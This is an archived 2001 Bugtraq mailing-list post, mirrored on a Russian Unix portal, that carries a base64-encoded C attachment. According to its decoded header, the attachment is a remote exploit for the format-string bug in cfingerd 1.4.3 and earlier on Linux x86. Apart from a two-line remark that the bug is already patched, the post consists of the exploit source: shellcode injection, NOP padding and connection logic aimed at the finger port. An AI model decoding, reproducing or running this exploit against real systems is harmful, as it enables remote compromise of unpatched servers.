The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

another exploit for cfingerd.


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Mon, 7 May 2001 02:37:57 -0300
From: venomous <venomous@RDCREW.COM.AR>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: another exploit for cfingerd.

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--8323328-429940079-989213877=:520
Content-Type: TEXT/PLAIN; charset=US-ASCII

Yes, this vulnerability has been patched a few weeks ago, anyway here is
another exploit for it.

venomous
http://www.rdcrew.com.ar


--8323328-429940079-989213877=:520
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="rdC-cfingerd.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.20.0105070237570.520@powerhouse.is.penguinpowered.com.ar>
Content-Description: .
Content-Disposition: attachment; filename="rdC-cfingerd.c"

LyogcmVtb3RlIGV4cGxvaXQgZm9yIGxpbnV4L3g4NiAtIGNmaW5nZXJkIDw9
IDEuNC4zDQogKiBjb2RlZCBieSB2ZW5vbW91cyBvZiByZEMgLSAxNi9hcHIv
MDENCiAqDQogKiBJdHMganVzdCBhIGNvbW1vbiBmb3JtYXRzdHJpbmcgYnVn
IHVzaW5nIHN5c2xvZygpIGluY29ycmVjdGx5Lg0KICogV2UgbmVlZCB0byBi
aW5kIGFzIGlkZW50ZCwgc28gZGlzYWJsZSB5b3VyIGlkZW50ZCBpbiBjYXNl
IHlvdSBhcmUNCiAqIHVzaW5nIGl0Lg0KICoNCiAqIEJPTlVTOiBlaXAgYWRk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QogICAgICAgIC8v
ICAgICAgICBpZiAoIWQpDQogICAgICAgIC8vICAgICAgICB7DQogICAgICAg
IHByZXBhcmVidWYoc2VsLCBvZmYsIHllKTsNCiAgICAgICAgZmNvbm5lY3Qo
YXJndlsyXSwgeWUsIDc5KTsNCiAgICAgICAgLy8gICAgICAgIH0NCg0KICAg
ICAgICBwZXRlID0gc2l6ZW9mKHNzaW4pOw0KICAgICAgICBpZiAoIChzc2Vy
dmVyID0gYWNjZXB0KGZkLCAoc3RydWN0IHNvY2thZGRyICopJnNzaW4sICZw
ZXRlKSkgPCAwKQ0KICAgICAgICB7DQogICAgICAgICAgICBwZXJyb3IoImFj
Y2VwdCIpOw0KICAgICAgICAgICAgZXhpdCgxKTsNCiAgICAgICAgfQ0KICAg
ICAgICBiemVybyhidWYsc2l6ZW9mKGJ1ZikpOw0KICAgICAgICByZWFkKHNz
ZXJ2ZXIsYnVmLHNpemVvZihidWYpKTsNCg0KICAgICAgICAvL2hvcnJlbmR1
cyBkZWJ1ZyEgOikNCiNpZmRlZiBERUJVRw0KICAgICAgICBwcmludGYoIlxu
cmVhZCgpOiAlc1xuIixidWYpOw0KI2VuZGlmDQogICAgICAgIHNzY2FuZihi
dWYsIiVkLCVkIiwmYSwmYik7DQogICAgICAgIGJ6ZXJvKGJ1ZixzaXplb2Yo
YnVmKSk7DQogICAgICAgIGJ6ZXJvKHRleCxzaXplb2YodGV4KSk7DQogICAg
ICAgIG1lbXNldCh0ZXgsJ1x4OTAnLDExOSk7DQoNCiAgICAgICAgYmxlaD1z
dHJsZW4ocGJ1Zik7DQogICAgICAgIG5pdSA9IDA7DQoNCiAgICAgICAgd2hp
bGUgKDEpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmKHN0cmxlbihwYnVm
KSA8IDY1KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmIChw
aGFzZT09MCkNCiAgICAgICAgICAgICAgICAgICAgcGJ1ZltibGVoXSA9ICdc
eDkwJzsNCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAg
ICAgIHBidWZbYmxlaF0gPSB0eXBlc1tzZWxdLnNoZWxsY29kZVtuaXVdOw0K
ICAgICAgICAgICAgICAgIGJsZWgrKzsNCiAgICAgICAgICAgICAgICBpZiAo
cGhhc2U9PTEpDQogICAgICAgICAgICAgICAgICAgIG5pdSsrOw0KICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIGJy
ZWFrOw0KICAgICAgICB9DQogICAgICAgIGFyeCA9IG5pdTsNCg0KICAgICAg
ICBpZighcGhhc2UpDQogICAgICAgICAgICBmb3IoYmxlaD0wIDsgYmxlaCA8
IHN0cmxlbih0ZXN0Y29kZSkgOyBibGVoKyspDQogICAgICAgICAgICAgICAg
dGV4WzExOSAtIHN0cmxlbih0ZXN0Y29kZSkgKyBibGVoXSA9IHRlc3Rjb2Rl
W2JsZWhdOw0KDQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAg
ICAgaWYgKCgxMTkgLSAoc3RybGVuKHR5cGVzW3NlbF0uc2hlbGxjb2RlKSAt
IGFyeCkpIDwgMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBw
cmludGYoInNoZWxsY29kZSB0b28gbG9uZywgZXhpdGluZ1xuIik7DQogICAg
ICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAg
ICAgICAgZm9yICggYmxlaD0wIDsgYmxlaCA8ICggKHN0cmxlbih0eXBlc1tz
ZWxdLnNoZWxsY29kZSkpIC0gYXJ4KSA7IGJsZWgrKykNCiAgICAgICAgICAg
ICAgICB0ZXhbMTE5IC0gKHN0cmxlbih0eXBlc1tzZWxdLnNoZWxsY29kZSkp
IC0gYXJ4ICsgYmxlaF0gPSB0eXBlc1tzZWxdLnNoZWxsY29kZVtibGVoK2Fy
eF07DQogICAgICAgIH0NCg0KICAgICAgICBzbnByaW50ZihidWYsc2l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HJsZW4o
ImFcbiIpKTsNCg0KICAgIGlmICgoZm9yaygpKSA9PSAwKQ0KICAgIHsNCiAg
ICAgICAgcHJpbnRmKCJXYWl0aW5nIHJlc3BvbnNlLi4uIik7DQogICAgICAg
IGZvcihyPTAgOyByIDwgMTkgOyByKyspDQogICAgICAgICAgICBwcmludGYo
IlxiIik7DQogICAgICAgIGZmbHVzaChzdGRvdXQpOw0KICAgICAgICBiemVy
byhyZXNwb25zZSxzaXplb2YocmVzcG9uc2UpKTsNCiAgICAgICAgaWYgKHdo
YXQ9PTApDQogICAgICAgICAgICBzaWduYWwoU0lHQUxSTSwgY2hsZF90aW1l
byk7DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIHNpZ25hbChTSUdBTFJN
LCBjaGxkX3RpbWVvbyk7DQoNCiAgICAgICAgYWxhcm0oMzApOw0KICAgICAg
ICByZWFkKGNzZXJ2ZXIscmVzcG9uc2Usc2l6ZW9mKHJlc3BvbnNlKSk7DQog
ICAgICAgIGlmIChzdHJzdHIocmVzcG9uc2UsIlNJR0lMTCIpKQ0KICAgICAg
ICB7DQogICAgICAgICAgICBwcmludGYoIklsbGVnYWwgSW5zdHJ1Y3Rpb25c
ciIpOw0KICAgICAgICAgICAgZmZsdXNoKHN0ZG91dCk7DQogICAgICAgICAg
ICBjbG9zZShjc2VydmVyKTsNCiAgICAgICAgICAgIGV4aXQoMCk7DQogICAg
ICAgIH0NCiAgICAgICAgaWYgKHN0cnN0cihyZXNwb25zZSwiU0lHU0VHViIp
KQ0KICAgICAgICB7DQogICAgICAgICAgICBwcmludGYoIlNlZ21lbnRhdGlv
biBGYXVsdC5cciIpOw0KICAgICAgICAgICAgZmZsdXNoKHN0ZG91dCk7DQog
ICAgICAgICAgICBjbG9zZShjc2VydmVyKTsNCiAgICAgICAgICAgIGV4aXQo
MCk7DQogICAgICAgIH0NCiAgICAgICAgLy95b3UgbWlnaHQgYWRkIHN0cmlu
Z3MgaGVyZS4uDQogICAgICAgIGlmIChzdHJ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eCk7DQogICAg
Ynplcm8ocGJ1ZixzaXplb2YocGJ1ZikpOw0KICAgIHN0cm5jcHkocGJ1Zixi
dWYsc2l6ZW9mKHBidWYpKTsNCn0NCg0KY24odW5zaWduZWQgbG9uZyBhZGRy
KQ0Kew0KICAgIGNoYXIgaGVbMTI4XTsNCg0KICAgIHNucHJpbnRmKGhlLHNp
emVvZihoZSksIiVkIixhZGRyKTsNCiAgICBpZiAoYXRvaShoZSkgPCA4KQ0K
ICAgICAgICBhZGRyID0gYWRkciArIDI1NjsNCg0KICAgIHJldHVybiBhZGRy
Ow0KfQ0K
--8323328-429940079-989213877=:520--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network. RB2 Network.